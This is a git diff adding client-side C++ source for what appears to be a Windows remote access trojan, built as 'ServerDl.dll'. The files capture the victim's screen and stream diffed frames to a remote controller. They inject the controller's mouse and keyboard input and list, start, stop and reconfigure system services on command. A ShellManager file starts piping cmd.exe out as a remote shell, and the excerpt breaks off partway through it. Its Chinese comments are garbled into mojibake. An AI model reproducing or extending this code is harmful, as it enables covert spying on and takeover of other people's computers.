m_ScreenSpyObject->GetBIData(), ulLength - 1); + m_ClientObject->OnServerSending((char*)szBuffer, ulLength); + VirtualFree(szBuffer, 0, MEM_RELEASE); +} + +CScreenManager::~CScreenManager() +{ + cout<<"ScreenManager "<OnServerSending((char*)szBuffer, iPacketLength); + delete[] szBuffer; +} + + +VOID CScreenManager::SendFirstScreen() +{ + //CScreenSpygetFirstScreenеõͼ + //ȻgetFirstImageSizeõݵĴСȻͳȥ + BOOL bRet = FALSE; + LPVOID FirstScreenData = NULL; + + FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(); + if (FirstScreenData == NULL) + { + return; + } + + ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength(); + LPBYTE szBuffer = new BYTE[ulFirstSendLength]; + if (szBuffer == NULL) + { + return; + } + + szBuffer[0] = TOKEN_FIRSTSCREEN; + memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1); + + m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength); + + delete [] szBuffer; + + szBuffer = NULL; +} + + +VOID CScreenManager::SendNextScreen() +{ + //õݣõݴСȻ + //ǵgetNextScreenĶ + LPVOID NextScreenData = NULL; + ULONG ulNextSendLength = 0; + NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength); + + if (ulNextSendLength == 0 || NextScreenData==NULL) + { + return; + } + + ulNextSendLength += 1; + + LPBYTE szBuffer = new BYTE[ulNextSendLength]; + if (szBuffer == NULL) + { + return; + } + + szBuffer[0] = TOKEN_NEXTSCREEN; + memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1); + + m_ClientObject->OnServerSending((char*)szBuffer, ulNextSendLength); + + delete [] szBuffer; + szBuffer = NULL; +} + +VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) +{ + // ݰϷ + if (ulLength % sizeof(MSG) != 0) + return; + + // + ULONG ulMsgCount = ulLength / sizeof(MSG); + + // + + //1ruan kdjfkdf gan + for (int i = 0; i < ulMsgCount; i++) //1 + { + MSG *Msg = (MSG *)(szBuffer + i * sizeof(MSG)); + switch (Msg->message) + { + case WM_LBUTTONDOWN: + case WM_LBUTTONUP: + case WM_RBUTTONDOWN: + case WM_RBUTTONUP: + case WM_MOUSEMOVE: + case WM_LBUTTONDBLCLK: + case WM_RBUTTONDBLCLK: + case WM_MBUTTONDOWN: + case WM_MBUTTONUP: + { + POINT Point; + Point.x = LOWORD(Msg->lParam); + Point.y = HIWORD(Msg->lParam); + SetCursorPos(Point.x, Point.y); + SetCapture(WindowFromPoint(Point)); //??? + } + break; + default: + break; + } + + switch(Msg->message) //˿ڷӿݷ + { + case WM_LBUTTONDOWN: + mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); + break; + case WM_LBUTTONUP: + mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + break; + case WM_RBUTTONDOWN: + mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); + break; + case WM_RBUTTONUP: + mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + break; + case WM_LBUTTONDBLCLK: + mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + break; + case WM_RBUTTONDBLCLK: + mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + break; + case WM_MBUTTONDOWN: + mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0); + break; + case WM_MBUTTONUP: + mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0); + break; + case WM_MOUSEWHEEL: + mouse_event(MOUSEEVENTF_WHEEL, 0, 0, + GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0); + break; + case WM_KEYDOWN: + case WM_SYSKEYDOWN: + keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0); + break; + case WM_KEYUP: + case WM_SYSKEYUP: + keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0); + break; + default: + break; + } + } +} diff --git a/client/ScreenManager.h b/client/ScreenManager.h new file mode 100644 index 0000000..5dc02d0 --- /dev/null +++ b/client/ScreenManager.h @@ -0,0 +1,39 @@ +// ScreenManager.h: interface for the CScreenManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) +#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" +#include "ScreenSpy.h" + +class IOCPClient; + +class CScreenManager : public CManager +{ +public: + CScreenManager(IOCPClient* ClientObject, int n); + virtual ~CScreenManager(); + HANDLE m_hWorkThread; + + static DWORD WINAPI WorkThreadProc(LPVOID lParam); + VOID CScreenManager::SendBitMapInfor(); + VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength); + + CScreenSpy* m_ScreenSpyObject; + VOID CScreenManager::SendFirstScreen(); + VOID CScreenManager::SendNextScreen(); + + VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength); + BOOL m_bIsWorking; + BOOL m_bIsBlockInput; + VOID CScreenManager::SendClientClipboard(); + VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength); +}; + +#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp new file mode 100644 index 0000000..f58d047 --- /dev/null +++ b/client/ScreenSpy.cpp @@ -0,0 +1,266 @@ +// ScreenSpy.cpp: implementation of the CScreenSpy class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "ScreenSpy.h" +#include "Common.h" + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CScreenSpy::CScreenSpy(ULONG ulbiBitCount) +{ + m_bAlgorithm = ALGORITHM_DIFF; + m_dwBitBltRop = SRCCOPY; + m_BitmapInfor_Full = NULL; + switch (ulbiBitCount) + { + case 16: + case 32: + m_ulbiBitCount = ulbiBitCount; + break; + default: + m_ulbiBitCount = 16; + } + + m_hDeskTopWnd = GetDesktopWindow(); + m_hFullDC = GetDC(m_hDeskTopWnd); + + m_hFullMemDC = CreateCompatibleDC(m_hFullDC); + m_ulFullWidth = ::GetSystemMetrics(SM_CXSCREEN); //Ļķֱ + m_ulFullHeight = ::GetSystemMetrics(SM_CYSCREEN); + m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight); + m_BitmapData_Full = NULL; + m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, + DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); + ::SelectObject(m_hFullMemDC, m_BitmapHandle); + + m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2]; + + m_RectBufferOffset = 0; + + m_hDiffMemDC = CreateCompatibleDC(m_hFullDC); + m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, + DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL); + ::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle); +} + + +CScreenSpy::~CScreenSpy() +{ + ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC + if (m_hFullMemDC!=NULL) + { + DeleteDC(m_hFullMemDC); //CreateƥڴDC + + ::DeleteObject(m_BitmapHandle); + if (m_BitmapData_Full!=NULL) + { + m_BitmapData_Full = NULL; + } + + m_hFullMemDC = NULL; + } + + if (m_hDiffMemDC!=NULL) + { + DeleteDC(m_hDiffMemDC); //CreateƥڴDC + + ::DeleteObject(m_DiffBitmapHandle); + if (m_DiffBitmapData_Full!=NULL) + { + m_DiffBitmapData_Full = NULL; + } + } + + if (m_BitmapInfor_Full!=NULL) + { + delete[] m_BitmapInfor_Full; + m_BitmapInfor_Full = NULL; + } + + if (m_RectBuffer) + { + delete[] m_RectBuffer; + m_RectBuffer = NULL; + } + + m_RectBufferOffset = 0; +} + + +ULONG CScreenSpy::GetBISize() +{ + ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0; + + return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); +} + +LPBITMAPINFO CScreenSpy::GetBIData() +{ + return m_BitmapInfor_Full; +} + +LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount, + ULONG ulFullWidth, ULONG ulFullHeight) +{ + int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0; + ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +ɫĸ + BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][] + + BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader); + + BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si + BitmapInforHeader->biWidth = ulFullWidth; //1080 + BitmapInforHeader->biHeight = ulFullHeight; //1920 + BitmapInforHeader->biPlanes = 1; + BitmapInforHeader->biBitCount = ulbiBitCount; //32 + BitmapInforHeader->biCompression = BI_RGB; + BitmapInforHeader->biXPelsPerMeter = 0; + BitmapInforHeader->biYPelsPerMeter = 0; + BitmapInforHeader->biClrUsed = 0; + BitmapInforHeader->biClrImportant = 0; + BitmapInforHeader->biSizeImage = + ((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight; + + // 16λԺûɫֱӷ + + return BitmapInfor; +} + +LPVOID CScreenSpy::GetFirstScreenData() +{ + //ڴԭ豸иλͼĿ豸 + ::BitBlt(m_hFullMemDC, 0, 0, + m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop); + + return m_BitmapData_Full; //ڴ +} + + +ULONG CScreenSpy::GetFirstScreenLength() +{ + return m_BitmapInfor_Full->bmiHeader.biSizeImage; +} + +LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength) +{ + if (ulNextSendLength == NULL || m_RectBuffer == NULL) + { + return NULL; + } + + // rectָ + m_RectBufferOffset = 0; + + // дʹ㷨 + WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm)); + + // дλ + POINT CursorPos; + GetCursorPos(&CursorPos); + WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT)); + + // д뵱ǰ + BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex(); + WriteRectBuffer(&bCursorIndex, sizeof(BYTE)); + + // Ƚ㷨 + if (m_bAlgorithm == ALGORITHM_DIFF) + { + // ֶɨȫĻ µλͼ뵽m_hDiffMemDC + ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, + m_BitmapInfor_Full->bmiHeader.biHeight); + + //BitбȽһ޸m_lpvFullBitsеķ + *ulNextSendLength = m_RectBufferOffset + + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full, + m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage); + return m_RectBuffer; + } + + return NULL; +} + + +VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength) +{ + memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength); + m_RectBufferOffset += ulLength; +} + +VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) +{ + ULONG ulJumpLine = 50; + ULONG ulJumpSleep = ulJumpLine / 10; + + for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) + { + ULONG ulv1 = ulHeight - i; + + if (ulv1 > ulJumpLine) + ulToJump = ulJumpLine; + else + ulToJump = ulv1; + BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop); + Sleep(ulJumpSleep); + } +} + +ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, + LPBYTE szBuffer, DWORD ulCompareLength) +{ + // Windows涨һɨռֽ4ı, DWORDȽ + LPDWORD p1, p2; + p1 = (LPDWORD)CompareDestData; + p2 = (LPDWORD)CompareSourData; + + // ƫƵƫƣͬȵƫ + ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0; + ULONG ulCount = 0; // ݼ + // p1++ʵǵһDWORD + for (int i = 0; i < ulCompareLength; i += 4, p1++, p2++) + { + if (*p1 == *p2) + continue; + // һݿ鿪ʼ + // дƫƵַ + + *(LPDWORD)(szBuffer + ulszBufferOffset) = i; + // ¼ݴСĴλ + ulv1 = ulszBufferOffset + sizeof(int); //4 + ulv2 = ulv1 + sizeof(int); //8 + ulCount = 0; // ݼ + + // Destе + *p1 = *p2; + *(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2; + + /* + [1][2][3][3] + [1][3][2][1] + + [0000][ ][1321] + */ + ulCount += 4; + i += 4, p1++, p2++; + for (int j = i; j < ulCompareLength; j += 4, i += 4, p1++, p2++) + { + if (*p1 == *p2) + break; + + // Destе + *p1 = *p2; + *(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2; + ulCount += 4; + } + // дݳ + *(LPDWORD)(szBuffer + ulv1) = ulCount; + ulszBufferOffset = ulv2 + ulCount; + } + + // nOffsetOffset дܴС + return ulszBufferOffset; +} diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h new file mode 100644 index 0000000..3d0185b --- /dev/null +++ b/client/ScreenSpy.h @@ -0,0 +1,50 @@ +// ScreenSpy.h: interface for the CScreenSpy class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_) +#define AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +#define ALGORITHM_DIFF 1 +#include "CursorInfor.h" + + +class CScreenSpy +{ +public: + CScreenSpy::CScreenSpy(ULONG ulbiBitCount); + virtual ~CScreenSpy(); + ULONG CScreenSpy::GetBISize(); + LPBITMAPINFO CScreenSpy::GetBIData(); + ULONG m_ulbiBitCount; + LPBITMAPINFO m_BitmapInfor_Full; + ULONG m_ulFullWidth, m_ulFullHeight; //Ļķֱ + LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount, + ULONG ulFullWidth, ULONG ulFullHeight); + + HWND m_hDeskTopWnd; //ǰĴھ + HDC m_hFullDC; //Explorer.exe Ĵ豸DC + HDC m_hFullMemDC; + HBITMAP m_BitmapHandle; + PVOID m_BitmapData_Full; + DWORD m_dwBitBltRop; + LPVOID CScreenSpy::GetFirstScreenData(); + ULONG CScreenSpy::GetFirstScreenLength(); + LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength); + BYTE* m_RectBuffer; + ULONG m_RectBufferOffset; + BYTE m_bAlgorithm; + VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength); + CCursorInfor m_CursorInfor; + HDC m_hDiffMemDC; + HBITMAP m_DiffBitmapHandle; + PVOID m_DiffBitmapData_Full; + ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, + LPBYTE szBuffer, DWORD ulCompareLength); + VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); +}; + +#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_) diff --git a/client/Script.rc b/client/Script.rc new file mode 100644 index 0000000..759740b --- /dev/null +++ b/client/Script.rc @@ -0,0 +1,139 @@ +// Microsoft Visual C++ generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// (壬й) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) +LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED +#pragma code_page(936) + +///////////////////////////////////////////////////////////////////////////// +// +// Dialog +// + +IDD_DIALOG DIALOGEX 0, 0, 180, 108 +STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "Ϣʾ" +FONT 10, "System", 0, 0, 0x0 +BEGIN + DEFPUSHBUTTON "OK",IDOK,27,87,50,14 + PUSHBUTTON "Cancel",IDCANCEL,104,87,50,14 + EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER +END + + +///////////////////////////////////////////////////////////////////////////// +// +// DESIGNINFO +// + +#ifdef APSTUDIO_INVOKED +GUIDELINES DESIGNINFO +BEGIN + IDD_DIALOG, DIALOG + BEGIN + BOTTOMMARGIN, 101 + END +END +#endif // APSTUDIO_INVOKED + + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// WAVE +// + +IDR_WAVE WAVE "Res\\msg.wav" + +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 1,0,0,1 + PRODUCTVERSION 1,0,0,1 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x2L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "080404b0" + BEGIN + VALUE "CompanyName", "FUCK THE UNIVERSE" + VALUE "FileDescription", "A DLL" + VALUE "FileVersion", "1.0.0.1" + VALUE "InternalName", "ServerDl.dll" + VALUE "LegalCopyright", "Copyright (C) 2019-2025" + VALUE "OriginalFilename", "ServerDl.dll" + VALUE "ProductName", "A DLL" + VALUE "ProductVersion", "1.0.0.1" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x804, 1200 + END +END + +#endif // (壬й) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp new file mode 100644 index 0000000..f0d4491 --- /dev/null +++ b/client/ServicesManager.cpp @@ -0,0 +1,276 @@ +// ServicesManager.cpp: implementation of the CServicesManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "ServicesManager.h" +#include "Common.h" + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +{ + SendServicesList(); +} + +CServicesManager::~CServicesManager() +{ + +} + +VOID CServicesManager::SendServicesList() +{ + LPBYTE szBuffer = GetServicesList(); + if (szBuffer == NULL) + return; + + m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); + LocalFree(szBuffer); +} + +LPBYTE CServicesManager::GetServicesList() +{ + LPENUM_SERVICE_STATUS ServicesStatus = NULL; + LPQUERY_SERVICE_CONFIG ServicesInfor = NULL; + LPBYTE szBuffer = NULL; + char szRunWay[256] = {0}; + char szAutoRun[256] = {0}; + DWORD dwLength = 0; + DWORD dwOffset = 0; + if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) + { + return NULL; + } + + ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024); + + if (ServicesStatus==NULL) + { + CloseServiceHandle(m_hscManager); + return NULL; + } + + DWORD dwNeedsBytes = 0; + DWORD dwServicesCount = 0; + DWORD dwResumeHandle = 0; + EnumServicesStatus(m_hscManager, + SERVICE_TYPE_ALL, //CTL_FIX + SERVICE_STATE_ALL, + (LPENUM_SERVICE_STATUS)ServicesStatus, + 64 * 1024, + &dwNeedsBytes, + &dwServicesCount, + &dwResumeHandle); + + szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH); + + szBuffer[0] = TOKEN_SERVERLIST; + dwOffset = 1; + for (unsigned long i = 0; i < dwServicesCount; i++) // Display The Services,ʾеķ + { + SC_HANDLE hServices = NULL; + DWORD nResumeHandle = 0; + + hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName, + SERVICE_ALL_ACCESS); + + if (hServices==NULL) + { + continue; + } + + ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024); + + QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle); + //ѯ + + if (ServicesStatus[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //״̬ + { + ZeroMemory(szRunWay, sizeof(szRunWay)); + lstrcat(szRunWay,""); + } + else + { + ZeroMemory(szRunWay, sizeof(szRunWay)); + lstrcat(szRunWay,"ֹͣ"); + } + + if(2==ServicesInfor->dwStartType) // //SERVICE_AUTO_START + { + ZeroMemory(szAutoRun, sizeof(szAutoRun)); + lstrcat(szAutoRun,"Զ"); + } + if(3==ServicesInfor->dwStartType) //SERVICE_DEMAND_START + { + ZeroMemory(szAutoRun, sizeof(szAutoRun)); + lstrcat(szAutoRun,"ֶ"); + } + if(4==ServicesInfor->dwStartType) + { + ZeroMemory(szAutoRun, sizeof(szAutoRun)); //SERVICE_DISABLED + lstrcat(szAutoRun,""); + } + + dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName) + + lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName) + + lstrlen(szRunWay) + lstrlen(szAutoRun) + 1; + // ̫С· + if (LocalSize(szBuffer) < (dwOffset + dwLength)) + szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), + LMEM_ZEROINIT|LMEM_MOVEABLE); + + memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName, + lstrlen(ServicesStatus[i].lpDisplayName) + 1); + dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//ʵ + + memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1); + dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//ʾ + + memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1); + dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//· + + memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//״̬ + dwOffset += lstrlen(szRunWay) + 1; + + memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//״̬ + dwOffset += lstrlen(szAutoRun) + 1; + + CloseServiceHandle(hServices); + LocalFree(ServicesInfor); //Config + } + + CloseServiceHandle(m_hscManager); + + LocalFree(ServicesStatus); + + return szBuffer; +} + +VOID CServicesManager::OnReceive(PBYTE szBuffer, ULONG ulLength) +{ + switch (szBuffer[0]) + { + case COMMAND_SERVICELIST: + SendServicesList(); + break; + case COMMAND_SERVICECONFIG: // + ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1); + break; + default: + break; + } +} + +void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength) +{ + BYTE bCommand = szBuffer[0]; + char *szServiceName = (char *)(szBuffer+1); + + switch(bCommand) + { + case 1: //start + { + SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS); + if (NULL != hSCManager) + { + SC_HANDLE hService = OpenService(hSCManager, + szServiceName, SERVICE_ALL_ACCESS); + if ( NULL != hService ) + { + StartService(hService, NULL, NULL); + CloseServiceHandle( hService ); + } + CloseServiceHandle(hSCManager); + } + Sleep(500); + SendServicesList(); + } + break; + + case 2: //stop + { + SC_HANDLE hSCManager = + OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE + if ( NULL != hSCManager) + { + SC_HANDLE hService = OpenService(hSCManager, + szServiceName, SERVICE_ALL_ACCESS); + if ( NULL != hService ) + { + SERVICE_STATUS Status; + BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status); + + CloseServiceHandle(hService); + } + CloseServiceHandle(hSCManager); + } + Sleep(500); + SendServicesList(); + } + break; + case 3: //auto + { + SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); + if ( NULL != hSCManager ) + { + SC_HANDLE hService = OpenService(hSCManager, szServiceName, + SERVICE_ALL_ACCESS); + if ( NULL != hService ) + { + SC_LOCK sclLock=LockServiceDatabase(hSCManager); + BOOL bOk = ChangeServiceConfig( + hService, + SERVICE_NO_CHANGE, + SERVICE_AUTO_START, + SERVICE_NO_CHANGE, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL); + UnlockServiceDatabase(sclLock); + CloseServiceHandle(hService); + } + CloseServiceHandle(hSCManager); + } + Sleep(500); + SendServicesList(); + } + break; + case 4: // DEMAND_START + { + SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE ); + if ( NULL != hSCManager ) + { + SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS); + if ( NULL != hService ) + { + SC_LOCK sclLock = LockServiceDatabase(hSCManager); + BOOL bOK = ChangeServiceConfig( + hService, + SERVICE_NO_CHANGE, + SERVICE_DEMAND_START, + SERVICE_NO_CHANGE, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL); + UnlockServiceDatabase(sclLock); + CloseServiceHandle(hService ); + } + CloseServiceHandle( hSCManager); + } + Sleep(500); + SendServicesList(); + } + default: + break; + } +} diff --git a/client/ServicesManager.h b/client/ServicesManager.h new file mode 100644 index 0000000..a9dd60f --- /dev/null +++ b/client/ServicesManager.h @@ -0,0 +1,26 @@ +// ServicesManager.h: interface for the CServicesManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_) +#define AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" + +class CServicesManager : public CManager +{ +public: + CServicesManager(IOCPClient* ClientObject, int n); + virtual ~CServicesManager(); + VOID CServicesManager::SendServicesList(); + LPBYTE CServicesManager::GetServicesList(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength); + SC_HANDLE m_hscManager; +}; + +#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_) diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp new file mode 100644 index 0000000..cc57c54 --- /dev/null +++ b/client/ShellManager.cpp @@ -0,0 +1,191 @@ +// ShellManager.cpp: implementation of the CShellManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "ShellManager.h" +#include "Common.h" +#include +using namespace std; + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +BOOL bStarting = TRUE; + +CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +{ + m_hThreadRead = NULL; + m_hShellProcessHandle = NULL; //Cmd̵Ľ̾߳̾ + m_hShellThreadHandle = NULL; + SECURITY_ATTRIBUTES sa = {0}; + sa.nLength = sizeof(sa); + sa.lpSecurityDescriptor = NULL; + sa.bInheritHandle = TRUE; //Ҫ + m_hReadPipeHandle = NULL; //client + m_hWritePipeHandle = NULL; //client + m_hReadPipeShell = NULL; //cmd + m_hWritePipeShell = NULL; //cmd + //ܵ + if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) + { + if(m_hReadPipeHandle != NULL) + { + CloseHandle(m_hReadPipeHandle); + } + if(m_hWritePipeShell != NULL) + { + CloseHandle(m_hWritePipeShell); + } + return; + } + + if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) + { + if(m_hWritePipeHandle != NULL) + { + CloseHandle(m_hWritePipeHandle); + } + if(m_hReadPipeShell != NULL) + { + CloseHandle(m_hReadPipeShell); + } + return; + } + + //Cmd FullPath + char strShellPath[MAX_PATH] = {0}; + GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32 + 